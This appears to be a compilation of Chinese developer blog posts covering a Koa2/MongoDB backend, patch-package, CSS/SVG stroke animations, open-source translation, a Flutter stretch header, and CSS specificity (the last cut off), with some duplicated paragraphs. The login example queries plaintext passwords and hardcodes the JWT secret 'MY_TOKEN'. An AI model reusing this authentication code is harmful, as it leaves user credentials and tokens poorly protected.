const { historyApiFallback } = require('koa2-connect-history-api-fallback');
koa2-connect-history-api-fallback
是一个专门为 Koa2 框架设计的中间件,它的主要目的是在SPA应用中处理URL重定向,尤其是在用户直接输入或者通过后退按钮访问非根URL时。 这个中间件会将所有未匹配到特定路由的请求转发到默认HTML文件(通常是 index.html
),确保SPA可以正常启动并处理路由。还记得当初自己终于完成了一整套的项目线上部署,可把自己开心坏了,但是同事在一次用着发现,刷新页面时,页面直接变成了404,你说吓不吓人。盘查一下发现自己在vue前端中的路由为何在后端中变成了一个get请求。
controller.js源码
const fs = require('fs')
// add url-route in /controllers:
function addMapping (router, mapping) {
for (var url in mapping) {
if (url.startsWith('GET ')) {
var path = url.substring(4)
router.get(path, mapping[url])
// console.log(`register URL mapping: GET ${path}`);
} else if (url.startsWith('POST ')) {
var path = url.substring(5)
router.post(path, mapping[url])
// console.log(`register URL mapping: POST ${path}`);
} else if (url.startsWith('PUT ')) {
var path = url.substring(4)
router.put(path, mapping[url])
// console.log(`register URL mapping: PUT ${path}`);
} else if (url.startsWith('DELETE ')) {
var path = url.substring(7)
router.del(path, mapping[url])
// console.log(`register URL mapping: DELETE ${path}`);
} else {
// console.log(`invalid URL: ${url}`);
}
}
}
function addControllers (router, dir) {
fs.readdirSync(__dirname + '/' + dir)
.filter(f => {
return f.endsWith('.js')
})
.forEach(f => {
// console.log(`process controller: ${f}...`);
let mapping = require(__dirname + '/' + dir + '/' + f)
addMapping(router, mapping)
})
}
module.exports = function (dir) {
let controllers_dir = dir || 'controllers',
router = require('koa-router')()
addControllers(router, controllers_dir)
return router.routes`()`
}
controller讲解
在这个controller中,我们主要做了一件事,那就是路由映射逻辑处理。
function addControllers()
这个方法用于自动加载指定目录下的js文件,它使用fs.readdirSync
读取目录,然后通过filter
和forEach
方法来处理每个文件名,只选择以.js
结尾的文件,并将这些文件的路由映射添加到router
上
function addMapping()
这个函数用于将HTTP方法(如GET、POST、PUT、DELETE)和对应的URL路径映射到处理函数上。它遍历传入的mapping
对象,根据URL的前缀(如GET
、POST
等)来确定使用哪个HTTP方法,并将路径和处理函数注册到router
上。
controllers下路由POST方法
const jwt = require('jsonwebtoken')
module.exports = {
'POST /login': async (ctx, next) => {
var key = ctx.request.body
if (key.username && key.password) {
return new Promise(function (resolve, reject) {
var MongoClient = require('mongodb').MongoClient
var MG_URL = 'mongodb://***********/'
MongoClient.connect(
MG_URL,
{ useUnifiedTopology: true },
function (err, db) {
if (err) throw err
var dbo = db.db('website')
dbo
.collection('user')
.find({ username: key.username, password: key.password })
.toArray(function (err, result) {
if (result.length) {
const TOKEN = jwt.sign(
{
name: result[0].username
},
'MY_TOKEN',
{ expiresIn: '24h' }
)
let data = {
username: result[0].username,
token: TOKEN
}
ctx.response.body = {
result: 1,
status: 200,
code: 200,
data: data
}
} else {
ctx.response.body = {
result: 0,
status: 200,
code: 0,
msg: '该用户不存在'
}
}
if (err) throw err
resolve(result)
db.close()
})
}
)
})
} else {
ctx.response.body = {
result: 0,
status: 200,
code: 0,
msg: 'error'
}
}
}
}
这是一个登录的login方法,用POST进行请求。在这个地方用了一下mongodb数据库存储。在api接口请求login方法时,获取请求中所携带的参数进行解析,并判断此用户以及密码是否在我们的数据库中,如果存在返回成功的提示以及相关数据,如果错误,则提示错误。当然如果还不会数据库的使用,可以去除数据库相关部分,直接用本地json数据,这个比较简单,就是fs读取本地json文件,然后返回给api接口。不在此做详细说明。
controllers下路由GET方法
module.exports = {
'GET /getNews': async (ctx, next) => {
return new Promise(function (resolve, reject) {
var MongoClient = require('mongodb').MongoClient
var MG_URL = 'mongodb://********'
MongoClient.connect(
MG_URL,
{ useUnifiedTopology: true },
function (err, db) {
if (err) throw err
var dbo = db.db('website')
dbo
.collection('news')
.find({})
.toArray(function (err, result) {
if (result.length) {
ctx.response.body = {
result: 1,
status: 200,
code: 1,
data: result
}
} else {
ctx.response.body = {
result: 0,
status: 200,
code: 0,
msg: '暂无数据'
}
}
if (err) throw err
resolve(result)
db.close()
})
}
)
})
}
}
这是一个获取新闻的getNews方法,用GET请求。主要用来查询数据库中的list的信息。DELETE,PUT等方法不在此处贴出更多源码。
数据库首推mondodb
- 面向集合存储,易存储对象类型的数据。
- 模式自由。
- 高性能、易部署、易使用。
- 文档型数据结构灵活,适应不同类型的数据。
- 支持动态查询。
- 非关系型数据库。
学习推荐
为啥选择MongoDB数据库,相对来说操作还是比较简单,而且存储的数据类型都是对象的形式,前端可以轻松拿捏。在这里直接推荐菜鸟的mongodb教程,看名字就知道,这是一个适合菜鸟初步学习的地方。讲解也比较详细,学完上面的内容,用mongodb数据库进行基本的数据存储和操作已经没有问题了。
总结
通过以上的分享,其实对大多数前端来说,开启一个简单的后端服务和接口请求,已经可以开箱即用了。想要完整的学习代码,也可以私信我。虽然不是很完善,但麻雀虽小五脏俱全。
思考
在前端行业已经接7载。曾经害怕java的恐惧而转入前端行业,所有受到鄙视也是有一部分原因吧,毕竟自己曾经年少无知,害怕吃苦选择了一个稍微简单的前端就稀里糊涂的就业了,保命要紧。但是在后来又想改变这个鄙视链,自己就开始了nodejs的学习,python的学习,数据库MongoDB,MySQL,PostgreSQL。学不完,压根学不完。
后面再无尽的内卷中,有的做开发不是自己的路,也想做做管理,毕竟前端做到前端组长就已经是极限了,在公司以java为尊的环境下,想做更高的级别几乎不可能。毕竟自己算是耿直死宅,不善交际,讨不到大领导的喜爱。然后又开始了原型的学习,PMP项目管理证书的考取(进行中),也曾有单独出去做产品的想法,面试过一个,但是与自己的预期薪资相差太大,没去。
来源:juejin.cn/post/7415654362993639439
如果你使用的第三方库有bug,你会怎么办
早上好,中午好,晚上好
在当今的前端工程化领域,第三方库的使用已经成为标配。然而,不可避免的是,这些库可能会存在bug,或者是库的一些功能并不能满足需要,需要修改库的某个功能,或添加功能。当遇到这种情况时,我们应该如何应对?本文将介绍三种解决第三方库bug的方法,并重点介绍使用patch-package
库来修复bug的全过程。
在当今的前端工程化领域,第三方库的使用已经成为标配。然而,不可避免的是,这些库可能会存在bug,或者是库的一些功能并不能满足需要,需要修改库的某个功能,或添加功能。当遇到这种情况时,我们应该如何应对?本文将介绍三种解决第三方库bug的方法,并重点介绍使用patch-package
库来修复bug的全过程。
方法一:提issues给第三方库的作者,让作者修复
这个方式是比较常见的解决方式了,但有几个缺点:
- 库作者不维护这个库了,那提issues自然就没有人close了,gg
- 库作者很忙,或者项目缺乏活跃的贡献者,导致问题可能长时间都不懂响应,那如果你这个项目很急的话,那gg
- bug或者功能的优先级不高,库作者先解决其他高优先级的,或者他不接受你的建议或者及时修复问题,那gg
- 还有可能出现的沟通成本,以确保库作者完全理解了问题的本质和重要性。
那如果库作者很勤奋,每天都在维护,对issues的问题,都满怀热情的进行解决,那我们可以按照以下流程进行提issues:
- 发现bug:在使用第三方库时,发现了一个bug。
- 复现bug:在本地环境中尝试复现该bug,并记录详细的复现步骤。
- 提交issues:访问第三方库的GitHub仓库,点击“New issue”按钮,填写以下信息:
- 标题:简洁地描述bug现象。
- 描述:详细描述bug的复现步骤、预期结果和实际结果。
- 环境:列出你的操作系统、浏览器版本、库的版本等信息。
- 等待回复:作者可能会要求你提供更多信息,或者告诉你解决方案。耐心等待并积极配合。nice
这个方式是比较常见的解决方式了,但有几个缺点:
- 库作者不维护这个库了,那提issues自然就没有人close了,gg
- 库作者很忙,或者项目缺乏活跃的贡献者,导致问题可能长时间都不懂响应,那如果你这个项目很急的话,那gg
- bug或者功能的优先级不高,库作者先解决其他高优先级的,或者他不接受你的建议或者及时修复问题,那gg
- 还有可能出现的沟通成本,以确保库作者完全理解了问题的本质和重要性。
那如果库作者很勤奋,每天都在维护,对issues的问题,都满怀热情的进行解决,那我们可以按照以下流程进行提issues:
- 发现bug:在使用第三方库时,发现了一个bug。
- 复现bug:在本地环境中尝试复现该bug,并记录详细的复现步骤。
- 提交issues:访问第三方库的GitHub仓库,点击“New issue”按钮,填写以下信息:
- 标题:简洁地描述bug现象。
- 描述:详细描述bug的复现步骤、预期结果和实际结果。
- 环境:列出你的操作系统、浏览器版本、库的版本等信息。
- 等待回复:作者可能会要求你提供更多信息,或者告诉你解决方案。耐心等待并积极配合。nice
方法二:fork第三方库,修复好bug后,发布到npm,项目下载自己发布的npm包
这个方式也有局限性:
- 维护负担:一旦你fork了库,你需要负责维护这个分支,包括合并上游的更新和修复新出现的bug。
- 长期兼容性:随着时间的推移,原库和新fork的库可能会出现分歧,使得合并更新变得更加困难。
- 版本管理:需要管理自己发布的npm包版本,确保它与其他依赖的兼容性。
- 社区隔离:使用自己的fork可能会减少与原社区的合作机会,错过原库的其他改进和特性。
那如果你觉得这个方式很不错,那最佳实践是这样的:
这个方式也有局限性:
- 维护负担:一旦你fork了库,你需要负责维护这个分支,包括合并上游的更新和修复新出现的bug。
- 长期兼容性:随着时间的推移,原库和新fork的库可能会出现分歧,使得合并更新变得更加困难。
- 版本管理:需要管理自己发布的npm包版本,确保它与其他依赖的兼容性。
- 社区隔离:使用自己的fork可能会减少与原社区的合作机会,错过原库的其他改进和特性。
那如果你觉得这个方式很不错,那最佳实践是这样的:
步骤 1: Fork 原始库
- 访问原始库的GitHub页面。
- 点击页面上的“Fork”按钮,将库复制到你的GitHub账户下。
- 访问原始库的GitHub页面。
- 点击页面上的“Fork”按钮,将库复制到你的GitHub账户下。
步骤 2: 克隆你的Fork
git clone https://github.com/your-username/original-repo.git
cd original-repo
git clone https://github.com/your-username/original-repo.git
cd original-repo
步骤 3: 设置上游仓库
git remote add upstream https://github.com/original-owner/original-repo.git
这样当作者更新维护库的时候,可以获取上游仓库的最新更新。
git remote add upstream https://github.com/original-owner/original-repo.git
这样当作者更新维护库的时候,可以获取上游仓库的最新更新。
步骤 4: 创建特性分支
git checkout -b fix-bug-branch
git checkout -b fix-bug-branch
步骤 5: 修复Bug
在这个分支上,进行必要的代码更改来修复bug。
在这个分支上,进行必要的代码更改来修复bug。
步骤 6: 测试更改
在本地环境中测试你的更改,确保修复了bug并且没有引入新的问题。
在本地环境中测试你的更改,确保修复了bug并且没有引入新的问题。
步骤 7: 提交并推送更改
git add .
git commit -m "Fix bug description"
git push origin fix-bug-branch
git add .
git commit -m "Fix bug description"
git push origin fix-bug-branch
步骤 8: 创建Pull Request(可选)
如果你希望原始库接受你的修复,可以向上游仓库创建一个Pull Request。
如果你希望原始库接受你的修复,可以向上游仓库创建一个Pull Request。
步骤 9: 发布到NPM
如果原始库没有接受你的PR,或者你需要立即使用修复,可以发布到NPM:
- 登录到NPM。
npm login
这个地方有个坑点,就是你使用了npm镜像需要将镜像更改为npm官方仓库:
npm config set registry https://registry.npmjs.org
- 修改
package.json
中的名称,避免与原始库冲突,例如添加你的用户名前缀。
{
"name": "@your-username/original-repo",
// ...
}
- 更新版本号。
npm version patch
- 发布到NPM。
npm publish
如果原始库没有接受你的PR,或者你需要立即使用修复,可以发布到NPM:
- 登录到NPM。
npm login
这个地方有个坑点,就是你使用了npm镜像需要将镜像更改为npm官方仓库:
npm config set registry https://registry.npmjs.org
- 修改
package.json
中的名称,避免与原始库冲突,例如添加你的用户名前缀。
{
"name": "@your-username/original-repo",
// ...
}
npm version patch
npm publish
步骤 10: 在你的项目中使用Forked库
在你的项目package.json
中,将依赖项更改为你的forked版本。
{
"dependencies": {
"original-repo": "^1.0.0",
"@your-username/original-repo": "1.0.1"
}
}
步骤 11: 维护你的Fork
定期从上游仓库合并更新到你的fork,以保持与原始库的同步。
git checkout master
git pull upstream master
git push origin master
最佳实践总结
- 保持与上游仓库的同步。
- 清晰地记录你的更改和发布。
- 为你的fork创建文档,说明它与原始库的区别。
- 考虑长期维护策略,如果可能,尽量回归到官方版本。
方法三:使用patch-package库来修复
patch-package
是一个非常有用的 npm 包,它允许我们在没有修改原始 npm 依赖包的情况下,对 npm 依赖进行修复或自定义。这在以下场景中特别有用:
- 当你发现一个第三方库的 bug,但作者还没有修复它,或者修复后的版本尚未发布。
- 当你需要对第三方库进行微小的定制,而不想维护一个完整的分支或分叉。
patch-package 的工作原理
patch-package
的工作流程通常如下:
- 修改
node_modules
中的依赖包文件。 - 运行
patch-package
命令,它会生成一个补丁文件,通常是.patch
文件,保存在项目根目录下的patches
文件夹中。 - 在
package.json
的scripts
部分添加一个脚本来应用这些补丁,通常是在postinstall
阶段。 - 将生成的
.patch
文件提交到版本控制系统中。 - 当其他开发者运行
npm install
或yarn
安装依赖时,或者 CI/CD 系统构建项目时,这些补丁会被自动应用。
但使用这种方式也有前提:
1. 潜在冲突:如果第三方库的官方更新解决了相同的bug,但采用了不同的方法,那么你的补丁可能会与这些更新冲突
2. 库没有源码:这种方式是在node_modules里对应的包进行修改,如果包是压缩后的,那就没办法改了,所以只能针对node_modules里的包有源码的情况下。
最佳实践:
步骤 1:安装patch-package postinstall-postinstall
postinstall-postinstall
,作用是 postinstall
脚本在 Yarn 安装过程中运行。
yarn add patch-package postinstall-postinstall --dev
步骤 2:配置 package.json
在你的 package.json
文件中,添加一个 postinstall
脚本来确保在安装依赖后应用补丁:
"scripts": {
"postinstall": "patch-package"
}
步骤 3:修复依赖包中的 bug
假如vue3有个bug,我们直接在 node_modules/vue/xxx
中修复这个 bug。
步骤 4:创建补丁
修复完成后,我们运行以下命令来生成补丁:
npx patch-package example-lib
这会在项目根目录下创建一个 patches
文件夹,并在其中生成一个名为 vue+3.4.29.patch
的文件(假设vue当前库的版本是3.4.29)。
步骤 5:提交补丁文件到代码库中
现在,我们将 patches
文件夹和里面的 .patch
文件提交到版本控制系统中。
git add patches/example-lib+1.0.0.patch
git commit -m "Add patch for vue3.4.29"
git push
步骤 6:安装依赖并应用补丁
就是其他同事在下载项目或者更新依赖后,postinstall
脚本会自动运行,并应用补丁。
npm install
# 或者
yarn install
当 npm install
或 yarn install
完成后,patch-package
会自动检测 patches
文件夹中的补丁,并将其应用到对应的依赖上。
志哥我想说
遇到第三方库的bug时,我们可以选择提issues、fork并发布自己的npm包,或者使用patch-package
进行本地修复。当然你还可以有:
- 使用替代库
- 社区支持
每种方法都有其适用场景,根据实际情况选择最合适的方法。希望本文能帮助你更好地应对第三方库的bug问题,或者面试
或者技术分享
等。
来源:juejin.cn/post/7418797840796254271
抖音自动进入直播间的动画挺有意思的,看看有多少种方式可以实现
在刷抖音的时候,发现有一个直播的专属导航页签,切换到这个页签之后,刷出来的内容全都是直播,不过都是在“门外”观看,没有进入直播间;
短暂的停留之后,会出现一个自动进入直播间的提示,并且有一个描边动画,动画结束之后,就会进入直播间,今天我就尝试通过多种方式来实现这个动画效果。
1. 渐变实现
效果如上图所示,渐变需要使用到的是conic-gradient
锥形渐变,文档地址:conic-gradient
代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
html,
body {
height: 100%;
margin: 0;
}
body {
display: flex;
justify-content: center;
align-items: center;
background: linear-gradient(90deg, #1F1C2C 0%, #928DAB 100%);
color: #fff;
}
.wrap {
position: relative;
background-color: rgba(255, 255, 255, 0.2);
width: fit-content;
padding: 10px 20px;
border-radius: calc(1em + 10px);
}
/*使用自定义属性来控制进度*/
@property --offset {
syntax: "<length-percentage>";
inherits: false;
initial-value: 0;
}
.wrap.gradient-animation {
overflow: hidden;
/*和普通 css 变量一样使用即可*/
background-image:
conic-gradient(
#fff 0%,
#fff var(--offset),
transparent var(--offset) 100%
);
}
/*需要使用一个遮挡来挡住多余的部分,只保留描边部分*/
.wrap.gradient-animation::before {
content: ' ';
position: absolute;
top: 2px;
left: 2px;
right: 2px;
bottom: 2px;
background: #1F1C2C;
border-radius: inherit;
z-index: 0;
}
.wrap.gradient-animation:hover {
animation: gradient 5s linear 1 forwards;
}
@keyframes gradient {
0% {
--offset: 0;
}
100% {
--offset: 100%;
}
}
</style>
</head>
<body>
<div class="wrap gradient-animation">
<!-- 需要控制层级显示 -->
<span style="position: relative; z-index: 1;">自动进入直播间</span>
</div>
</body>
</html>
conic-gradient
的技术细节就不展开了,感兴趣的可以自行查阅文档,这里主要的技术点在于--offset
这个自定义属性,因为渐变本身是不支持动画的,所以需要借助这个自定义属性来实现动画效果,文档地址:@property
这里的效果其并不是很理想,因为conic-gradient
的渐变是一个圆形的渐变,而实际效果是边框的一个描边,所以需要使用一个遮罩来挡住多余的部分,只保留描边部分。
由于使用了伪元素来实现遮罩,所以还需要控制层级显示,避免遮罩挡住了文字,并且原效果是透明的背景,这里使用遮罩层之后背景就不能是透明的了,而且动画在每一个部分执行的时间都不连贯。
可以说这种方式有很多的局限性,所以我们来看看下一种方式。
2. 渐变加 mask 实现
渐变加mask
的实现思路和上面的类似,主要是解决了上面的背景半透明的问题,文档地址:mask
代码如下:
<div class="wrap gradient-mask">
<span style="position: relative; z-index: 1;">自动进入直播间</span>
</div>
.wrap.gradient-mask::before {
content: ' ';
position: absolute;
inset: 0;
background-color: rgba(255, 255, 255, 0.1);
background-image: conic-gradient(
#fff 0%,
#fff var(--offset),
transparent var(--offset) 100%
);
border-radius: inherit;
mask-image: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'><rect width='150' x='1' y='1' height='40' rx='20' fill='transparent' stroke='red' stroke-width='2' stroke-alignment='outside'/></svg>");
mask-size: 100% 100%;
mask-repeat: no-repeat;
}
.wrap.gradient-mask:hover::before {
animation: gradient 5s linear 1 forwards;
}
这里把效果整体迁移到了::before
伪元素上,使用mask-image
里面加了一个svg
来处理描边的问题,这样就不需要使用遮罩来挡住多余的部分,只保留描边部分。
但是这里的问题也很明显,那就是svg
并不能很好的响应式,而且因为svg
的其他原因,导致描边的边宽有点被裁剪,这里也只是提供一个思路,并不是最佳实践。
3. 使用 svg 实现
上面都已经使用到了svg
作为遮罩,那么直接使用svg
更简单直接,这种情况个人也比较推荐,代码如下:
<div class="wrap svg">
<svg xmlns="http://www.w3.org/2000/svg">
<rect width="150" x="1" y="1" height="40" rx="20" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />
<rect width="150" x="1" y="1" height="40" rx="20" class="rect" />
</svg>
<span style="position: relative; z-index: 1;">自动进入直播间</span>
</div>
.wrap.svg svg {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
}
.wrap.svg svg > rect {
width: calc(100% - 2px);
height: calc(100% - 2px);
fill: transparent;
stroke-width: 2;
}
.wrap.svg svg > .rect {
stroke-dasharray: 350;
stroke-dashoffset: 350;
stroke: white;
stroke-width: 2;
}
.wrap.svg:hover svg > .rect {
transition: stroke-dashoffset 5s linear;
stroke-dashoffset: 0;
}
svg
的描边效果主要是通过stroke-dasharray
和stroke-dashoffset
来实现的,svg
描边效果也是一个非常有趣的实现。
stroke-dasharray
是用来控制虚线的,这个值越大,虚线之间的间隔也越大,大到一定程度这个虚线就正好将整个形状包裹住。
stroke-dashoffset
是用来控制虚线的偏移量,当这个值等于stroke-dasharray
的时候,虚线就会完全消失,等于0
的时候,虚线就会完全显示。
根据svg
的特性,描边是在形状的外部,所以最外层有一个半透明的边框路径显示的并不完全,需要通过一些技巧来处理。
所以上面的代码会有两个rect
,一个是用来描边的,一个是用来做半透明的边框的,这样就可以实现一个比较完美的描边动画效果。
但是上面的描边起点和终点都是在左上角,如果需要在中间的话,可以通过path
来实现,感兴趣的可以自行尝试,这里提供path
的代码:
<svg viewBox="0 0 600 150" xmlns="http://www.w3.org/2000/svg">
<path d="M 100 0 L 500 0 A 50 50 0 1 1 500 150 L 100 150 A 50 50 0 1 1 100 0 Z" fill="transparent" stroke="rgba(255, 255, 255, 0.1)" stroke-width="2" />
</svg>
path
需要微调,因为没有贴边,可以使用一些在线网站来进行调整,比如:svg-path-editor,可自行探索。
总结
这一篇文章通过多种方式来实现一个描边动画效果,主要技术有:
conic-gradient
锥形渐变,本身渐变是不支持动画的,但是我们可以通过自定义属性来实现动画效果;mask
遮罩,mask
本身其实和背景图的使用方式差不多,但是mask
主要用来遮挡多余的部分,在这里我们使用mask
来遮挡主要部分,只保留描边部分来实现动画效果;svg
描边,svg
描边是一个非常有趣的技术,通过stroke-dasharray
和stroke-dashoffset
来实现描边动画效果,这种方式是最推荐的。
当然肯定还有其他的方式来实现这个效果,这里只是提供了一些思路,希望对大家有所帮助。
来源:juejin.cn/post/7420814883576414259
开源生态:谁在提供中文翻译?
前言
不知道大家有没有发现,几乎所有的有名有姓的开源仓库,都有英文文档,即使是国人开源的,也会一本正经的机翻一个英文文档,更有甚者将readme默认语言以英文展示
我们如此自觉的为全世界提供英文文档,那谁为我们提供中文文档?
中文文档翻译生态
虽然
像vue这种由国人发起的项目,自然而然的会有中英或更多语言的文档。
vuejs-translations/docs-zh-cn 是vue官方团队的开源翻译文档,由社区维护更新,至今已有700+人参与贡献
人多力量大,我们看到了质量非常高的 vue 中文文档。
但是
老外开源的项目却很难有自觉撰写中文文档的积极性,比如 mapboxGL 退出后,至今还没有一个对标官方文档的中文站,即使它在国内仍旧可用。
但是但是
开发者在网络上冲浪的时候,发现我们常用的开源库,基本也都有中文文档,那么这些文档是哪来的呢?当然是有一批兴趣使然,不求回报,为爱发电的开源字幕组了。
开源字幕组
他们或是有三三两两的小团体,或是社区性的向一个仓库贡献,或是独立完成翻译,这其中最难得的,当属个人独立翻译了。
独立翻译不光考验外语功底,还要有足够的耐心和毅力,耐得住寂寞,更要持之以恒。如果说把文档机翻一遍相当于在一座山外挑了两桶水,那么足够细致且同步原版文档更新就相当于每天挑两桶水,且不洒出一滴。
@远方OS 是 Vue 和 VueUse 的官方团队成员
vue-draggable-plus、v-scale-screen 的开源作者,会飞
此人对开源的热爱达到了狂热的地步
远方OS 目前维护了两个开源库的中文翻译:
一个是他所在的 vueuse 团队的中文文档,地址:vueuse.pages.dev/
一个是 unocss 的中文文档:unocss-cn.pages.dev/
其质量之高,各位可以自行观之
甚至还配备了演武场unocss-cn.pages.dev/play/,
交互式文档:unocss-cn.pages.dev/interactive…
还有专门给读者解惑的微信群,可谓大义。
他的翻译完全对标英文原版文档
并且约每周会同步更新一次,保证文档的及时性。
为爱发电
做开源是没有稳定回报的,做开源翻译亦是如此,也曾有人尝试过收费翻译,但是在网友的群攻之下,也是取消了收费,开源大佬们需要一边上班糊口,一边为爱发电,作为受益者,我们有义务表示尊重和支持。
结语
此文章没有收钱,没有收钱
作为掘金第一营销怪,我义不容辞。
来源:juejin.cn/post/7387291151734980617
拿去吧你!Flutter 仿抖音个人主页下拉拖拽效果
引言
最近产品经理看到抖音的个人主页下拉效果很不错,让我也实现一个,如果是native还好办,开源成熟的库一大堆,可我是Flutter呐🤣,业内成熟可用的库非常有限,最终跟产品经理batte失败后,没办法只能参考native代码硬肝出来。
效果图
整体构思
实现拖拽滑动功能,关键在于对手势事件的识别。在 Flutter 中,可使用Listener
来监听触摸事件,如下所示:
Listener(
onPointerDown: (result) {
},
onPointerMove: (result) {
},
onPointerUp: (_) {
}
在手指滑动的过程中不断的刷新背景图高度是不是就可以实现图片的拉伸效果呢?我们这里图片加载库使用CachedNetworkImage,高度在156的基础上动态识别手指的滑动距离extraPicHeight
CachedNetworkImage(
width: double.infinity,
height: 156 + extraPicHeight,
imageUrl: backgroundUrl,
fit: fitType,
)
识别到手指滑动就不断的刷新拉伸高度extraPicHeight
,flutter setState
内部已经做了优化,不用担心性能问题,实际效果体验很不错。
setState(() {
extraPicHeight;
});
经过实验思路是没有问题,那么监听哪些事件,extraPicHeight
到底怎么计算,有什么边界值还考虑到呢?我们从手势的顺序开始梳理一下。
首先按压屏幕会识别到触碰屏幕起点,也就是initialDx
initialDy
,对于下拉拖拽我们关心更多的是纵向坐标result.position.dy
onPointerDown: (result) {
initialDy = result.position.dy;
initialDx = result.position.dx;
},
当手指在屏幕滑动会触发onPointerMovew
,result.position.dy
代表的就是手势滑动的位置
onPointerMove: (result) {
//手指的移动时
// updatePicHeight(result.position.dy); //自定义方法,图片的放大由它完成。
},
这边处理逻辑比较复杂,我们先抽成函数updatePicHeight
updatePicHeight(changed) {
//。。。已省略不重要细节代码
extraPicHeight += changed - prev_dy; //新的一个y值减去前一次的y值然后累加,作为加载到图片上的高度。
debugPrint('extraPicHeight updatePicHeight : $extraPicHeight');
//这里是为了限制我们的最大拉伸效果
if (extraPicHeight > 300) {
extraPicHeight = 300;
}
if (extraPicHeight > 0) {
setState(() {
prev_dy = changed;
});
}
}
这里简化了很多细节逻辑,核心目的就是要不断的累加我们的拖动距离来计算extraPicHeight
高度,这里的changed是我们手指的y坐标,滑动的距离需要减去上次滑动的回调y,所以我们必须声明一个过去y坐标的变量也就是prev_dy
,通过通过 changed - prev_dy
就可以得出真正滑动的距离,然后我们不断累加 extraPicHeight += changed - prev_dy
就是图片的拉伸距离。
手指下拉以后图片确实拉伸了,但是松开手后发现回不去了🤣因为我们还需要处理图回去的问题,既然可以通过setState把图片高度拉高,我们也可以通过setState把图片高度刷回去,核心要思考的是如何平滑的让图片自己缩回去呢?有经验的你一定想到动画了。
flutter这里的动画库是Tween
,Tween
可以通过addListener
监听距离的回调,当距离变化不断刷新图片高度
anim = Tween(begin: extraPicHeight, end: 0.0).animate(animationController)
..addListener(() {
setState(() {
extraPicHeight = anim.value;
fitType = BoxFit.cover;
});
});
prev_dy = 0; //同样归零
动画的效果最终由控制器animationController
来决定,这里给了一个300ms的时间还不错,可以根据自己业务扩展
animationController = AnimationController(
vsync: this, duration: const Duration(milliseconds: 300));
所有在手抬起的时候执行我们的动画runAnimate
函数即可
onPointerUp: (_) {
//当手指抬起离开屏幕时
if (isVerticalMove) {
if (extraPicHeight < 0) {
extraPicHeight = 0;
prev_dy = 0;
return;
}
debugPrint('extraPicHeight onPointerUp : $extraPicHeight');
runAnimate(); //动画执行
animationController.forward(from: 0); //重置动画
}
},
整体的技术方案履完了,之后就是细节问题了
问题1:横行稍微有倾角的滑动也会导致页面拖拽,比如侧滑返回上一页面
这是由于手指滑动的角度没有限制, 这里我们计算一下滑动倾角,超过45度无效,角度计算通过x,y坐标计算tan函数即可
onPointerMove: (result) {
double deltaY = result.position.dy - initialDy;
double deltaX = result.position.dx - initialDx;
double angle =
(deltaY == 0) ? 90 : atan(deltaX.abs() / deltaY.abs()) * 180 / pi;
debugPrint('onPointerMove angle : $angle');
if (angle < 45) {
isVerticalMove = true; // It's a valid vertical movement
updatePicHeight(result
.position.dy); // Custom method to handle vertical movement
} else {
isVerticalMove =
false; // It's not a valid vertical movement, ignore it
}
}
问题2:图片高度变了,为啥没有拉伸啊!
图片拉伸取决于你图片库的加载配置,以flutter举例,我们的图片库是CachedNetworkImage
CachedNetworkImage(
width: double.infinity,
height: 156 + extraPicHeight,
imageUrl: backgroundUrl,
fit: fitType,
)
加载效果取决于fit,默认不变形我们使用cover,拉伸时使用fitHeight
或者fill
updatePicHeight(changed) {
if (prev_dy == 0) {
//如果是手指第一次点下时,我们不希望图片大小就直接发生变化,所以进行一个判定。
prev_dy = changed;
}
if (extraPicHeight > 0) {
//当我们加载到图片上的高度大于某个值的时候,改变图片的填充方式,让它由以宽度填充变为以高度填充,从而实现了图片视角上的放大。
fitType = BoxFit.fitHeight;
} else {
fitType = BoxFit.cover;
}
extraPicHeight += changed - prev_dy; //新的一个y值减去前一次的y值然后累加,作为加载到图片上的高度。
debugPrint('extraPicHeight updatePicHeight : $extraPicHeight');
if (extraPicHeight > 300) {
extraPicHeight = 300;
}
if (extraPicHeight > 0) {
setState(() {
prev_dy = changed;
fitType = fitType;
});
}
}
最后看下组件如何布局
CustomScrollView(
physics: const NeverScrollableScrollPhysics(),
slivers: <Widget>[
SliverToBoxAdapter(
child: buildTopWidget(),
),
SliverToBoxAdapter(
child: Column(
children: contents,
),
)
]
),
)
整个列表使用CustomScrollView
,因为在flutter上用他才能实现这种变化效果,未来还可以扩展顶部导航栏的变化需求。buildTopWidget
就是我们头部组件,包括内部的背景图,但是整个组件和背景图的高度都是依赖extraPicHeight
变化的,contents
是我们的内容,当头部组件挤压,会正常跟随滑动到底部。
全局变量依赖以下参数就够了,核心要注意的就是边界值问题,什么时候把状态值重置问题。
//初始坐标
double initialDy = 0;
double initialDx = 0;
double extraPicHeight = 0; //初始化要加载到图片上的高度
late double prev_dy; //前一次滑动y
//是否是垂直滑动
bool isVerticalMove = false;
//动画器
late AnimationController animationController;
late Animation<double> anim;
技术语言不是我分享的核心,解决这个需求的技术思维路线是我们大家可以借鉴学习的。
如果你有任何疑问可以通过掘金联系我,如果文章对你有所启发,希望能得到你的点赞、关注和收藏,这是我持续写作的最大动力。Thanks~
来源:juejin.cn/post/7419248277382021135
抛弃 `!important` 吧,一个更友好的技巧让你的 CSS 优先级变大
原文:Double your specificity with this one weird trick
在一个理想的世界里,我们的 CSS 代码组织得井井有条,易于维护。然而,现实往往大相径庭。你的 CSS 代码是完美的,但其他人那些烦人的 CSS 可能会与你的风格冲突,或者应用了你不需要的样式。
此外,你可能也无法修改那些 CSS。也许它来自你正在使用的 UI 库,也许是一些第三方的小组件。
更糟糕的是,HTML 也不受你控制,添加一些额外的 class
或 id
属性来覆盖样式也并不可行。
不知不觉中,你被卷入了一场 CSS 优先级之战。你的选择器需要优先于他们的选择器。开发者很容易被『诱惑 😈』去使用 !important
,但你知道这是不好的实践,我们能不能有一种更优雅的方式来实现我们覆盖的诉求?
本文将教给你一个技巧,可以用一种不是很 hacky 的方式应对这些情况 👩💻。
示例 🔮
假设你正在开发一个网站,该网站有一个新闻订阅表单。它包含一个复选框,但复选框的位置有点偏。你需要修正这个问题,但注册表单是一个嵌入到页面上的第三方组件,你无法直接修改它的 CSS。
通过浏览器检查复选框,确定只要改变它的 top
位置即可。当前的位置是通过选择器.newsletter .newsletter__checkbox .checkbox__icon
设置的,它的权重为 (0,3,0)
。
一开始你可能会使用相同的选择器来修改 top
值:
/* 覆盖新闻通讯复选框的顶部位置 */
